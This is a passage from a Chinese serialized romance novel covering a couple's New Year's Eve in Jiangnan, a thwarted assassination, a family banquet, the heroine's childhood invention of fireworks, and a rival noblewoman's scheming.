姜黎婳抬手打了他一下,“别胡说八道,谁要看你的心。”
跟着一同出门的青梅瞧着自家小姐和姑爷感情这么好的模样,忍不住笑出了声音。
而这时候一直落后她两步的昭临走了上来,“青梅姑娘...”
青梅脸上的笑容一僵,她红着脸看了昭临一眼,“侍卫大哥有事吗?没事的话,我还得去伺候小姐呢,我先走了。”
昭临瞧着落荒而逃的青梅,心头纠结,难道这丫头知道他要拒绝她,所以在躲着他?
人来人往的街道上,不少人在喊麦灯笼、字画、年画和对联、门神,甚至还有不少人在喊麦鲜花和炮竹的。
楚御礼第一次在看到这么热闹的新年街道,他拉着姜黎婳走在人群中,“没想到江南的除夕这么热闹。”
“这都是小姐的功劳呢。”青梅跟在两人身后,笑嘻嘻的说道,“以前的江南除夕白天都不热闹的,都要晚上才有人出来卖花灯,放河灯,但是有一年小姐说又不是只有大户人家才能贴对联,有些不会写字的农户或者贫民难道就不能贴对联和年画了吗?她就让大公子出门摆摊卖年画和对年还有门神...”
听到青梅说起姜黎婳的往事,楚御礼杨梅看向她,“原来为夫的娘子这么厉害啊,你这样不仅让贫民百姓过上了能贴对年和门神的新年,还让一些有才学的穷书生有了收入。”
姜黎婳眼睛一亮,她抬头与楚御礼对视,“我夫君果然聪明!你瞧如今这街上又热闹,所有人脸上都喜笑颜开的。”
姜黎婳说着拉着楚御礼走到另外一条街上,“不仅如此,还有一些贫民可以趁此机会卖年糕和炸糕还有一些艾草糕来营生,除夕这天出门的人都不少,很多人并不介意吃一点平日没吃过的东西,这就是贫民挣钱的机会,只要把他们手中的炸糕卖完,他们也能过一个好年。”
姜黎婳说罢看了青梅一眼,青梅立刻会意,拿着银两去把那些小摊上的糕点都买了一个遍,姜黎婳瞧着青梅穿梭在那些小铺前面的身影,笑着道:“买回去,大家都尝尝。”
第251章 除夕刺杀
临河的街道热闹非凡,叫卖蜜饯瓜果的还有吆喝卖专属年节年画和对联的,姜黎婳拉着楚御礼的手快速穿梭在人群中央,楚御礼垂眸看着走在自己前面的娘子,她脚步轻快,他即便看不到她的脸也知道她心情很好。
他逐渐收拢被她抓住的手,掌心的暖意驱散她之间的冰凉,姜黎婳好像感受到了他的心意,抓着他的手也握得更紧了。
姜黎婳在一处年画摊前面停下,正要松开他的手挑选年画,就被他捏着手往自己身边带了带,他用空着那只手扫过摊贩摆着的年画问姜黎婳,“有喜欢的吗?”
姜黎婳有些无奈的垂眸看了一眼被他紧握着的手,轻笑,“你是真的不打算松开我的手了吗?”
“为夫说过,害怕这么好看的娘子走丢了。”楚御礼把姜黎婳的手举起来,放在唇边哈了口气,“娘子这只手虽然被为夫握着,不是还有一只手可以挑选吗?”
他抬起自己另一只手,笑看着她,“若娘子觉得一只手不够挑选这些年画的话,为夫也可以借一手给娘子。”
摊主眸光在两人之间来回转悠了一圈,笑着道:“姜小姐您和您夫婿两人的感情真好。”
他说着拿出一副年画递给姜黎婳,“这幅年画娃娃喜庆,且寓意极好,在下就把这年画送给您和您的夫君,祝您来年就抱上个大胖小子!”
姜黎婳脸一红,她正要拒绝,某人已经快她一步把摊主手中的年画接过来了,“那这幅年画咱们就贴在床头的墙上如何?”
姜黎婳拍了楚御礼一下,“你能不能不要贫。”
“为夫很认真的。”楚御礼又挑选了几幅瞧着顺眼的年画,“再买点贴窗上。”
“你买吧,我去买门神。”姜黎婳欲松开楚御礼的手往牵手,楚御礼把手中的年画递给了昭临,沉声道:“付钱。”
门神摊位前,姜黎婳挑选了一副看着就很凶的门神,侧眸正要问楚御礼的意见就和他那满含情谊的眼眸对上,姜黎婳一时忘了自己要说的话,怔怔地与他对视。
“选好了?”楚御礼笑问。
“我觉得那幅画很凶,一定很能驱邪。”姜黎婳被拉回思绪,笑着回头看向自己选好的门神,“你觉得如何?”
“娘子说得对,买凶一点的门神,好驱邪。”楚御礼话音未落,身边忽然一阵躁动,姜黎婳还未反应过来,人已经被楚御礼拉入了他的怀中,宽大的大氅把她整个人完全包裹,一个旋转,姜黎婳只听到丽人划破空气贴着她的耳边略过,紧接着她听到了刀剑相碰的声音,紧接着就看到沉鹤、冽风还有青砚三人迅速解决了前来刺杀的刺客。
她轻轻抬头看向楚御礼,瞧他脸色冰冷的看着被冽风等人一剑封喉的刺客,此时姜黎婳眼里看不到因为这场刺杀而慌乱逃窜的百姓,也看不到被封喉而在垂死挣扎的刺客。
她的眼中只有他。
他是不是早就知道自己会被刺杀,所以才会一直寸步不离的守着她?
姜黎婳还没来得及问出声,又是一道划破长空的声音响起,她被楚御礼拉着抱着又转了几个圈,她被他护在怀中看着他沉着脸抬手挥袖为她抵挡箭矢的模样。
河对面商铺的楼上,又出现了一群身着黑衣的人,随着他们的出现,那些朝姜黎婳他们飞来的箭矢也随之消失了。
“婳儿,伤到哪儿没有?”楚御礼焦急地把姜黎婳从怀中拉出来,上下检查。
姜黎婳抬头,正撞见他那焦急又带着一丝痛楚的目光,姜黎婳的骤然麻痹,她感觉自己的四肢一下子变得僵硬了,这种感觉让她感到很不适,为什么她看到他这种眼神,会这么心痛?
见姜黎婳不回答自己,楚御礼心头更急,他神色一变,把姜黎婳拥入怀中,“婳儿,你别吓我。”
姜黎婳就那样怔怔地被楚御礼抱在怀中,不知道过了多久,她心头那种麻痹疼痛的感觉消失了,她才缓缓抬起手回抱住楚御礼,低声道:“楚御礼,我没事。”
她说出这句话后,好像听到了他叹气的声音,她轻轻拍着他的后背,低声道:“刚才的事情太突然了,我只是被吓到了。”
听到她这
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句话,他的下颌线绷得越发紧,指尖也因为抱着她太过用力而泛白,他把她紧紧抱在怀中,不知过了多久他才松手,重新为她整理好先前被他抱着转圈而脱落的披风,他沉沉地看着她,声音沙哑,“别怕,夫君会一直寸步不离的守着你,保护你,绝对不会让人伤害你半分的。”
因为突来的刺杀,姜黎婳没有了继续逛街的兴致,楚御礼也不打算让她继续在外面逛街了,但是因为不想扫了她难得的好心情,他还是让昭临去买门神和对联。
回去的路上两人都默契地没有说话,直到快到姜府门外的时候,楚御礼才忽然拉着姜黎婳停了下来,他认真的看着他,睫毛在垂下眼眸看她的时候颤了颤,“婳儿,先前那个刺客...”
他吸了口气,喉结也随着他的纠结滚动了几下,他抬手捧着她的脸,眼底全是歉疚,“应该是父皇派来的。”
姜黎婳愣在原地,她早就料想过这个结果,在她听到昭临那天在客栈对楚御礼说她与赵彦庭差点成亲的事情传开之后,她就知道皇室是容不下她这个有污点的王妃的,只是她没想到皇室派来杀她的人来得这么快...
竟然年都不想让她过。
“婳儿你放心。”楚御礼瞧着她那毫无光芒的眼神,他心头一晃,连忙抱着她保证,“我发誓,从今以后我绝对不会再让人伤害你半分!”
即便那个人是父皇也不行!
就在这时候在街道上就消失了的冽风大步走了过来,他在楚御礼面前跪下,沉声道:“主子,审出来了,那些人都是**组织的人,是承恩公府**。”
楚御礼闻言眉头一皱,他那原本痛楚的眼神也随之变得凌厉起来,语气比这寒冬的天气还冷,“杀了,丢到他们府上去。”
“顺便查出是那个**组织,我不想再听到那个**组织的名字。”楚御礼说罢搂着姜黎婳转身进了姜府。
楚御礼虽然没有说出来,但是姜黎婳能感受到,在得知那些刺客不是皇帝派来的人时,他虽然人更凌厉了,却轻松了不少。
第252章 姜黎婳:在浴桶里你不开心吗
姜府随着姜黎婳**的事情传开整个府中的情绪就变得紧张了起来,楚御礼几乎让他带过来的那些人都守在了姜府四周,确保姜黎婳的安全。
瞧着紧张过度的众人,姜黎婳反而觉得有些无奈了,“如今我们在家中,即便有人想要我死,应该也不至于杀到府上来吧?”
她拉着从自己坐下就一直站在自己身后护着自己的楚御礼,抬头望着他,“既然现在都知道是谁想要我的命了,那你就更不用担忧了,先前在街上刚经历了一次刺杀,今天应该不会来第二次了,你站了这么久了,坐下来歇歇?”
“婳儿,你不怪我?”楚御礼垂眸与她对视,他眼底通红,声音带着她能清晰感受到的痛苦,“你救了我那么多次,这次也是因为段贺年想要报复我才会被**,但如今皇室和那些人却想要杀了你。”
“可是你想要保护我,不是吗?”姜黎婳转身抱着他的腰,把头贴在他的腹上,“我也相信你能保护好我。”
楚御礼心头一动,他抬手正要去抱她,姜黎婳却忽然松开了他站起来,笑着道:“年画和门神还有对联,这些昭临都买回来了,我们去贴吧!”
下人们早就已经准备好了糯米糊用来贴年画和对年,听姜黎婳说要亲自贴,青梅立刻开始为姜黎婳刷浆糊,“小姐您把您的院子和老爷还有公子的院子都贴上,大门的对联和门神,就交给旁人去贴,咱们不出府!”
姜黎婳好笑地看着已经搬来凳子站在院门口的青梅,“那你的意思是今后我都不能出门了?”
姜黎婳没有听青梅的,她把自己的院子贴好了对联就去贴姜淮邦院子的,然后再去姜斯羽的院子,最后亲自去大门口贴了对联和门神。
贴好了门神,姜黎婳满意地拍了拍手,看着自己的成果,她回头与一直跟着她的楚御礼对视,“我贴得好吧?”
“很好。”楚御礼拿出手帕为她擦拭掉脸颊上的红纸,那冰冷的眼眸中总算是带上了一抹笑意,“很喜庆。”
“喜庆,那肯定少不了灯笼的。”姜黎婳古灵精怪的转了转眼睛,拉着楚御礼进门就喊,“拿灯笼来,我们要挂灯笼。”
半个时辰后,姜府上下所有廊下都被姜黎婳挂满了灯笼,包括花园的树上都被姜黎婳挂满了大小不同的灯笼,瞧着真是...喜庆!
傍晚。
姜府中摆了十几桌筵席,姜黎婳坐在主桌上招呼着昭临他们四人与他们一桌,姜府的奴仆坐其他桌,她还非让楚御礼把那些藏在暗处的人也都叫出来一起吃年夜饭。
最后十几张桌子坐得满满当当的,姜黎婳瞧着满院的人,端着酒杯站起来,“祝大家万事胜意,岁岁安康!”
姜家所有人仆从好似已经习惯了这种场面,随着姜黎婳的话音落下,他们全都举杯,扬声吼道,“祝小姐万事顺意,岁岁安康!”
青梅笑嘻嘻的又说了一句,“还要祝小姐发大财!财从四面八方来!”
姜黎婳冲青梅挑眉一笑,“铃铛和知夏两人最懂我的习惯,但是你这丫头最懂我的心思啊!”
“同贺!”她仰头把杯中酒一饮而尽。
其他姜家所有也仰头把杯中酒喝了下去。
剩下楚御礼的人坐在那里面面相觑,显得格格不入。
和姜黎婳他们同坐一桌的昭临等人就更如坐针毡了,他们即便是以前和主子一同出门办事,也从未和主子同坐一桌吃过东西啊!
这年夜饭和主子同坐主桌,他们怎么还吃得下?
姜黎婳看着坐在旁边连筷子都不敢拿的几人,她揪了身边的楚御礼一下,压低声音道:“过年本就要热闹,我们两个人吃一桌一点过年的气氛都没有,你冷着一张脸,他们都不敢吃了。”
从小就习惯了尊卑有别的楚御礼有些无奈,但是也不想破坏了她的心情,他端着酒杯睨了昭临等人一眼,这才笑着对姜黎婳道:“那为夫祝娘子新的一年顺遂无忧、平安喜乐。”
“祝夫人顺遂无忧、平安喜乐!”昭临也站起来等人扬声吼道。
“同贺同贺。”姜黎婳笑着给自己倒了一杯酒站起来,“大家别拘束,过年嘛,开心最重要啦,吃好喝好,感受一下我们姜家厨师的厨艺。”
半个时辰后。
姜黎婳醉醺醺地被楚御礼抱着进了她的院子,青梅带着人给两人准备了热水,然后过来问正给姜黎婳褪去朱钗的楚御礼,“姑爷,奴婢来伺候小姐梳洗?”
“你退下吧。”楚御礼弯腰抱起姜黎
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婳转身往盥洗室走去,“我给她洗。”
青梅听到楚御礼这话,脸一红,应了一声快步离开了房间,顺便还把房门给拉来关上。
难怪他们家小姐对姑爷这么好呢!
原来小姐就连洗澡都是姑爷伺候的!
看来她得努力了!一定要多挣银钱!有钱了就有话语权,以后她也要她夫君伺候她沐浴!
这样想着,青梅雄赳赳气昂昂地大步离开了。
才刚走到院门口,青梅昂首挺胸的姿势就被缩了回去,她看了一眼问她有没有时间的昭临,缩着头捧着脸大步跑开了。
这姑爷的侍卫是不是喜欢她啊?
从一大清早遇到她开始就在拼命地想要和她搭话!
她现在还没有存多少银钱,可不想随便嫁人去伺候人呢!
昭临瞧着看到自己就脸红的小姑娘,摇头一叹,都怪自己魅力太大,这才一天的时间居然就让小姑娘欲罢不能了...
看来他应该在离开之前,找这个小姑娘说清楚了,免得以后小姑娘对他情根深种却得不到回应的时候,再伤了小姑娘的心。
屋内。
被脱干净放在浴桶里的姜黎婳扬起自己酡红的脸眼神迷离地看着浴桶旁边站着的美男子,她抬手去触碰他的脸,笑了起来,“楚御礼,你长得可真好看。”
“你乖一点,坐好。”楚御礼眼底随着她的动作浮起一片阴影,他声音沙哑,“一会儿着凉了。”
“不要坐好。”姜黎婳趁着楚御礼不注意,抬手勾住他的颈子往自己面前使劲一拉,“你不开心。”
楚御礼双手死死地撑住浴桶边缘,他先前为了方便给她沐浴,已经褪去外衣,只剩下窄袖的黑色亵衣,此时被姜黎婳忽然够着脖子拉过来,也不过是打湿了垂下来的头发,他眸光沉沉的看着姜黎婳,低声道:“听话一点,天凉,婳儿不要在浴桶里面胡闹。”
“楚御礼,在浴桶里你不开心吗?”姜黎婳蹙眉,她仰头在他脸上落下一吻,“我想要你开心,既然浴桶里面你不会开心,那我们就去床上吧。”
楚御礼眸光一动,他深深吸了口气,“婳儿...”
姜黎婳已经松开他了,她站起来,“我们不在浴桶里,我们去床上吧!”
第253章 娘子给的惊喜
一个时辰后,姜黎婳精疲力竭的昏睡了过去,而她闹了半天,最后把自己折腾得一根手指都不想动的某人却一点都不想问他开不开心了。
楚御礼让人打热水给姜黎婳清洗,正在和院中其他小丫鬟守岁的青梅听到姑爷的喊声慌忙应了一声,跑去小厨房打热水端了进去。
楚御礼已经重新穿戴好亵衣,让青梅把水放下后,这才走过去拧了帕子给姜黎婳擦身子,退出去正准备关上里屋门的青梅抬头正好就看到这一幕,瞧着自家姑爷温柔地注视着小姐,手上动作更是小心翼翼生怕把小姐吵醒的模样,青梅眼睛红了...
她是家生子,爹娘都是姜家的仆从,但是她爹娘也很恩爱,就连如今夫妇二人的关系还好得如胶似漆的,但是她却从未见过她爹这样温柔小心的伺候她娘!
果然还是得有钱才行啊!瞧瞧姑爷把他们小姐伺候得多好!
把门关好的青梅再次在心中暗暗发誓,她得挣更多的银钱!以后找一个也能这样伺候她的夫君!
楚御礼把姜黎婳擦拭干净,又重新为她穿了衣裳,已经昏睡过去的人被他翻醒,她不舒服的哼哼唧唧,“我要睡觉,不玩了,你心情不好就去守岁,子时还有烟花秀呢。”
姜黎婳说完翻了个身继续睡。
瞧着耍赖的娘子,楚御礼那双之前充满了情欲和火焰的眸子,现在总算是多了一丝笑意,他俯身在她额头上印下一吻,笑着轻哄,“好,你先睡,那明早等你醒了我再换床单,但是明早你起来看到痕迹可不准生气。”
姜黎婳抬手胡乱摸上他的嘴,嗯嗯了两声,“别吵我睡觉。”
“好,不吵你。”楚御礼在她掌心印下一个吻,这才起身穿上外衣和大氅,离开了房间。
和小伙伴在院中守岁的青梅瞧着楚御礼出来,连忙跑过来,“姑爷您还有什么吩咐吗?”
“照顾好你们小姐,我还有事要出去一趟。”楚御礼说罢抬步往院子外走去,早就等在外面的沉鹤等人见状迎了上来,沉鹤朝楚御礼拱手,“主子。”
“去书房。”
昨天一到姜府姜黎婳就兴奋地给楚御礼介绍了她以前居住的环境,所以楚御礼知道姜黎婳这个姜家大小姐,在姜家很是受宠,只要是她兄长有的,她一样不少,而且她的书房还是父子三人中最大的。
楚御礼推开姜黎婳的书房门,扫了一眼屋中被装裱起来品质不一的画作,径直朝书桌的方向走去,他走到桌案后面坐下,沉鹤就地来了一张纸条,“墨玄的密保。”
楚御礼伸手接过来,看了信上的内容,楚御礼原本就沉着的神情更加冷厉,他抬手把纸条放在烛灯上方点燃,然后随手丢进了一旁的小香炉中,“路上都安排好了?”
“安排好了,我们的人会在路上假扮成**,伏击他们,让他们有来无回。”站一旁的冽风这时候站出来说,“我们绝对不会让王妃再遇到类似于今天的事情。”
楚御礼挑眉,他抬眸看向几人,眼神冰冷,沉声道:“若今日这种突发事情再发生,你们几个就给我回去再闭关训练几个月!”
“是!”
楚御礼头疼的揉了揉眉头,然后挥手让他们出去,跟在沉鹤和冽风后面的昭临、青砚已经飞快的退了出去,沉鹤和冽风却没有动,已经退出去的两人瞧他们两人还站在里面不动,想进去却又不敢了,只能站在外面骂这两人不讲义气!
“还有事?”楚御礼看向两人。
“主子,我们公然和陛下叫板,回到京城后,陛下是否会找您的麻烦?”毕竟若皇帝派出来的人每次都被他们截杀的话,那皇帝势必会怀疑王爷手中的势力的,到时候就怕生性多疑的帝王,会怀疑他这个儿子的忠诚度。
楚御礼原本就冰冷的眸子里闪过一丝凌厉,接着他站了起来,冷声道,“处理得干净点,不准留下任何活口,他即便是猜测,那也要有证据,只要他有本王私下培养势力的证据,他拿来问罪本王,本王承认了又如何?”
“属下明白怎么做了。”两人抱拳异口同声道。
楚御礼没有回应,抬步往书房外走去。
他刚走出书房天空忽然一声巨响,接着**出绚丽无比的烟火,这可比他们的信号弹发出来的烟火好看了无数倍。
楚御礼抬头看着在天空炸开的烟火,耳边是姜府仆从的喧闹嬉笑
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声。
“虽然这些年每年都可以在除夕夜看到这么绚丽的烟火,但我还是要感叹一下我们小姐好厉害啊!”
“是啊,五岁的小孩子竟然可以设计出这么漂亮的东西,还让我们每年都可以看到这么好看的烟火秀,小姐真的是太厉害了!”
“小姐不厉害的话,咱们嫁怎么可能在十几年前从江南富商一跃成为江南首富呢!老爷都说了,小姐可是他最大的福星呢。”
听着耳边不断的感叹声,楚御礼缓缓抬头看着天空炸开的烟火,这烟火秀在好几年前也在京城兴起了,他一直都知道这烟火秀是江南传过去的,却不知道,这烟火竟然是她娘子设计制作出来的。
而同样在院中的其他几人自然也听到了那些仆从的对话声,他们**对视了一眼,皆从对方眼中看出了震惊。
他们王妃这么厉害的吗?
等等...
四人面面相觑,他们好像想到了什么不得了的东西...
他们所用的信号弹好像就是江南节度使曾经让人递到京城的!上面不仅写了信号弹的制作方法,还写了使用方法!
这难道也是王妃设计的?
而此时的楚御礼已经拉住了一个小厮,他沉着脸问,“你们先前说这烟火是婳儿设计制作的?”
“对啊。”小厮一脸傲娇,“我们小姐可厉害了,就是这烟火小姐让我们姜家一跃成为了江南首富,虽然后来是有很多人仿冒我们,但我们家的烟火还是做得最好,最好看的。”
小厮一提起自家小姐,分享欲就爆棚,“不仅如此,我们家能在江南稳居首富还有小姐层出不穷的想法,我们小姐的产业可多了,在我们江南那可都是数一数二的产业。”
小厮说罢嘿嘿一笑,他艳羡地看着楚御礼,“姑爷,您能娶到我们小姐您就偷着乐吧。”
沉鹤和冽风直接从院中飞走去办事了,昭临和青砚两人跟在楚御礼身后把小厮的话原原本本的听了进去。
两人相视一眼,信息那个,主子能娶到王妃,那还真是应该偷着乐,原本他们以为王妃只是一个女大夫,现在看来,这哪儿是女大夫啊,明明是财神爷啊!
第254章 我的娘子这么厉害
楚御礼走进姜黎婳的院子就看到姜黎婳拢着披风坐在主屋门外的阶梯上抬头望着天空,而几个在院中的小婢女依旧在先前那个地方有说有笑的吃着糖果瓜子。
他蹙眉走进去,大步走到姜黎婳面前把人捞起来,“怎么起来了?地上这么...”
垂眸正好看到了阶梯上垫着的厚垫子,他话锋一转,接着道,“地上这么凉,即便垫了垫子也容易受寒,怎么坐地上了?”
被捞起来的姜黎婳顺势把头靠在他怀中,伸手抱着楚御礼的腰,闷闷道:“被烟花的声音吵醒了,却发现你不在身边。”
“我只是有事要和沉鹤他们商量去了一趟你的书房。”楚御礼用自己的大披风把她包裹在自己怀中,此时外面又是一声巨响,又有烟花炸开,各种形状的天花在天上炸开,然后坠落下来。
他抬头朝天空看去,语气中带着一丝笑意,“为夫都不知道原来为夫的娘子这么厉害呢,烟花这么好看的东西,竟然是娘子几岁时候设计制作出来的。”
姜黎婳:“......”
失算了!
楚御礼这么聪明,不会猜到什么吧?
她当年之所以小小年纪就设计出这烟火,第一个原因是她想看,第二个原因是她想要为这个家创造财富...
“娘子是怎么想出来的?”楚御礼下颌微微扬起轻轻地枕在她头上,语气含笑,“算算时间,娘子是在五岁的时候就设计出了这么惊天动地的东西。”
姜黎婳眨了眨眼睛,其实这也没什么,当年她虽然说只是射箭运动员,但是成绩也一直都很不错的,不然后来怎么可能上国内第一的学府呢。
但是这她不能说。
“就是有一次我贪玩把父亲制冰的硝石和硫磺那些东西放在一起玩,然后就发生了一些不可思议的事情,我觉得很好玩,就研究了一阵,后来加了一些其他玩意儿,还真的弄出了绚烂缤纷的烟花,我是不是很厉害?”姜黎婳说到这里有些心虚的不敢去看楚御礼。
楚御礼好听的笑声从胸膛发出,他抬手轻轻抚了抚姜黎婳的头发,“的确很厉害,那信号弹和**是不是也出自你的手?”
姜黎婳:“......”
她能说当年是为了能制作出烟花,但是需要的材料都不好弄,所以故意跑到赵伯伯面前去把自己制作出来的**给点燃了,然后把他们节度使府上的假山炸了的事情吗?
也是因为那件事情,导致赵旭庭把她当成了形影不离的伙伴,每次去她家,说是找她哥学习,但是却每次都跑去粘着她,她虽然表现出了一百个不愿意,他依旧会想方设法地往她身边凑。
“算是吧。”姜黎婳说到这里连忙从楚御礼的怀中挣脱出来,对着楚御礼举手发誓,“但是我保证啊,我绝对不知道这方法上报朝廷之后,会被段贺年利用来炸你们啊。”
“你这丫头想什么。”楚御礼抬手在她鼻尖轻轻地刮了一下,“**和信号弹这些年为楚国带来了多少好处,又为楚国打了多少胜仗,我都一清二楚,又怎么会因为段贺年的个人行为怪你?”
重新把她搂入怀中,两人一同看向这一场独属于除夕夜的烟火秀,楚御礼轻声道,“我只是没想到原来我的娘子这么小的时候就已经这么厉害了。”
他说到这里有一种自愧不如的惭秽感,“我五岁的时候被太医诊断出活不过二十岁,还只知道哭鼻子,这样和娘子比起来,为夫的确是差远了。”
“你已经很厉害了啊。”姜黎婳抬眸看着楚御礼刀削般的下颌线,低声道:“你小小年纪也有了属于自己的势力,你比我厉害。”
我不过是比你多经历了一世,若真的要与你比,我真实的五岁还在幼儿园里滑滑梯,摔了只知道哭,被打了还不知道还手那种...
两人互夸了一会儿,最后都看着对方,会心地笑了。
姜黎婳搂着楚御礼,眼里带着促狭,“我们两个好无聊啊,这种商业互夸应该出现在我们夫妇身上吗?”
“那回去睡觉?”楚御礼挑眉看着她,“时辰不早了,明早有什么安排吗?”
“没安排,等睡醒之后我们就往京城走吧。”姜黎婳拉着他转身往屋中走,“我们一边玩一边往京城走肯定需要不少时间,二月就春闱了,我们得赶在哥哥会试之前回去。”
看到已经欢好的床单,楚御礼挑眉,“娘子真勤劳。”
“这和勤劳有
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什么关系,哥哥人生中最重要的时候,我当然...”姜黎婳抬眸就看到了楚御礼盯着床单的眼神,她脸一红,脱掉大氅就爬上床,把被子拉来把脸蒙上,“那是我让青梅他们换的!”
她也没想到她喝醉酒之后竟然那么大胆,应是拉着楚御礼折腾了那么久,最后把自己累得精疲力竭不说,还把床弄得狼藉不堪...而以前天热的时候总爱把她抱到软榻上躺着,自己把床单收拾赶紧的某人如今也就由着她睡那床单,不收拾了...
“为夫可什么都没说。”楚御礼也褪去外衫,拉开被子躺到姜黎婳身边,“睡吧,等明儿个睡醒咱们再起程出发。”
翌日。
青梅听闻姜黎婳要走,眼眶一下就红了,她以前是虽然不是小姐身边的大丫鬟,但是也是婢女院中的二等婢女,与小姐和其他两个姐姐的关系都很好,自从小姐她们走了,她一个人带着一些粗使婢女都要孤独**...
而且独自守着这小院儿,虽然每天很清闲,但是每个月只能领一个二等婢女的工钱,那她要何年何月才能像小姐一样买一个听话的美男子当夫君伺候自己啊?
独自伤心了一会儿,青梅终于在姜黎婳要离开的时候,冲到姜黎婳的屋中径直跪在姜黎婳面前,红着眼道:“小姐,您把青梅带着与您一起离开吧!”
姜黎婳一怔,她瞧着跪在自己面前的小丫头,伸手去扶她起来,“你昨天也看到了,我身边并不安稳,你和我一起去京城,这路上还不知道会遇到多少刺杀呢,你确定要和我一起离开吗?”
青梅咬牙,一脸坚定,“只要能跟在小姐身边,无论是上刀山还是下火海,青梅都乐意至极!”
“你爹娘同意了?”
青梅咬了咬唇,点头,“我爹娘以前就说过,我要是能跟在小姐你的身边,那无论去哪儿他们都绝对支持的。”
“那你回去收拾一下吧,半个时辰后咱们出发。”姜黎婳笑看着青梅,她这一路一个女子也的确多有不便的地方,带这个青梅也好。
青梅见姜黎婳同意了,脸上一喜,她欢快地福了福身子,转身往外跑去,太好了,她感觉自己距离迎娶美男子又近了一步了!
第255章 孟若瑶嫁太子的决心
大年初三一早,承恩公府是被惊声的尖叫吓醒的。
孟若瑶清早睡得正香甜,忽然听到了婢女的尖叫声睁开眼睛就看到自己床边挂了一具满身是血的黑衣男人的尸体,她被吓得整个人坐起来尖叫着缩到床角,捂着头惊声尖叫,“啊....快把这个东西弄走!”
睡在脚踏上守夜的婢女闻言连滚带爬地往外跑去喊人,刚打开屋门就看到院子中横七竖八的各种尸体,她又吓得捂着脸蹲在门口尖叫了出来。
随着这声尖叫响起,小耳房中的其他婢女也纷纷打开了房门,看到这么多尸体被丢在院中各处,众人皆是捂着脸尖叫乱窜。
承恩公府的其他人也都往这边跑了过来,看到院中景象承恩公府的所有人都是被吓了一跳,承恩公沉着脸吩咐厉声对府卫呵斥,“怎么回事?还不快点把这些东西处理了!”
被吓得瘫软在孟若瑶屋门口的婢女连忙抬手指着孟若瑶的里屋,“床边还挂着一具...”
承恩公夫人闻言抬步焦急地往孟若瑶的屋中走,看到孟若瑶床边被挂着的尸体,又看向被吓得已经缩在床角的孟若瑶,她急声道:“还不快点把小姐床边的尸体给弄走!”
半个时辰后。
屋中尸体被清理干净,又换了一个院子居住的孟若瑶才摆着一张脸出现在了承恩公府的正厅中。
承恩公先前已经知道了那些尸体的身份,其他两房的人也被他打发回去了,此时厅中只剩下他与自己的母亲和夫人,他沉着脸和承恩公老夫人坐在主座上,看到孟若瑶被婢女扶着走进来,他冷声道:“当时你回来非要让我们先下手为强我就告诉过你!现在好了,尸体都被御王丢到府上来了!”
孟若瑶眼眶一红,“这些都是**组织的人,御王怎么会知道是我们请的?”
“你以为御王病弱这么些年却为何有那个能力查出佳宁公主的事情来?”承恩公狠狠地在桌子上拍了一下,“御王绝对不像是他表现出来那么简单的!”
“这事儿也怪不得若瑶。”承恩公夫人姚氏心疼地站起来把孟若瑶拉到自己身边坐下,这才继续道,“太后属意让瑶儿当太子妃,那御王又如此看重御王妃,如今御王妃声名狼藉,他依旧对御王妃死心塌地,如果御王妃不死,以后咱们若瑶嫁到东宫去,哪儿还有我们瑶儿的容身之地?”
“那如今呢?人还没有嫁过去,已经先得罪了御王,被御王恨上了!”承恩公说到这里就来气,他狠狠地剜了孟若瑶一眼,厉声道:“有了这件事情,能不能嫁到东宫还不一定!”
“我会嫁过去的!”孟若瑶眼底闪过一丝阴冷,脸色也异常坚定,“如今京城已经把我要嫁给太子的事情传开了,无论如何,我都会嫁给太子的!只要御王被陛下封了太子,那我就会嫁到东宫去!”
她双手捏紧成拳,抬眸看向承恩公和老夫人,“虽然我派去刺杀姜黎婳的人失败了,但还会有其太后派去的人!说不定还有皇上派去的人!”
孟若瑶眼神冰冷,嘴角甚至勾起一抹不屑的微笑,“姜黎婳那种声名狼藉又毫无背景的商贾之女除了御王对她的宠爱之外,还有什么?就算她能被御王护着活着回到京城,我也有无数方法让御王厌恶她!”
“等御王厌弃了她,她就什么都不是了,到时候我要弄死她还不是如同弄死一只蝼蚁一样简单。”孟若瑶收回目光,眼底尽是算计,“再说了,她想要坐稳这御王妃的位置,绝无可能。”
老夫人皱着眉头一直没说话,好半晌后她站起来,沉声道:“一大清早的府中上下就乌烟瘴气的,今天开始我出去城外的庄子上住些日子,你们自己的事情自己看着办吧。”
她承认这承恩公府上下如今有如此大的荣耀,都是她那当了太后的小姑子给带来的,但是这并不代表这个做嫂子的能接受得了小姑子的行事。
这府上的人为了利益和权力只愿意听小姑子的,她也没必要留在家中看这些糟心事儿。
承恩公听闻自家母亲要离京,连忙站起来扶着老夫人往外走,“家中事情繁多,母亲身子不好,的确不宜在家中多多劳心,您就安心去庄子上住着,需要什么差个人回来说一声就是,儿子定然为母亲准
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备妥当。”
老夫人原本难看的脸色此时才缓和了几分,她抬手在儿子手上拍了两下,“你自己静下心来看看以往和御王还有御王妃作对的那些人的下场,做事还是要三思而后行啊。”
老夫人说完也不再多留,抽回自己的手带着自己身边伺候的嬷嬷和婢女回自己的院子收拾东西去了。
孟若瑶看着老夫人离开的决然背影,脸色难看,拉着姚氏抱怨,“祖母和以前不一样了。”
“你祖母这个人本来就那样,谁都不知道她在想什么,你只管做好自己的事情,以后你当了太子妃,她还不是要对你笑脸相迎。”姚氏安抚地拍了拍孟若瑶的手,轻声道:“先前吓到了吧?再回去补补觉?”
“不了,我要准备入宫。”孟若瑶整理了一下发髻,抬眸看向姚氏,露出楚楚可怜的模样,“府中发生的事情,我怎么能不告诉姑祖母呢?”
她要在姜黎婳回来之前,让太后彻底厌弃姜黎婳,姜黎婳若死在路上了还好,若她还回来占着御王妃的位置,那就等着太后的刁难吧。
身为楚国最尊贵的女人,曾经身边有多少竞争对手,姑祖母刁难人的手段,可不是一般人能承受得住的。
远在徽州的姜黎婳还在睡梦中鼻子就开始发痒,狠狠地打了两个喷嚏直接把自己打醒了,也把身边的人吵醒了,她睁开眼睛朦胧地抬手揉了揉鼻子,身边的人就微动把被子拉来给她盖上,好听又富有磁性的声音在她耳边低柔地响起,“是不是昨夜着凉了?”
姜黎婳想到昨晚那些面红耳赤的画面,连忙把头缩在楚御礼怀中,低声道:“不是,我着凉不会打喷嚏,绝对是有人在背后嚼我舌根或者是在算计我。”
侧身把姜黎婳搂在怀中的楚御礼闻言眼睛轻轻睁开,眼底闪过一丝冷意,他嘴角扯出一抹冰冷的弧度,“娘子放心,无论是谁,只要敢算计到我们夫妇手上,为夫就绝对会让他们付出代价。”
姜黎婳闻言面色微微一变,不过片刻她又自然地轻轻点头,“我相信你,我夫君这么厉害,自然不会让我受了委屈的。”
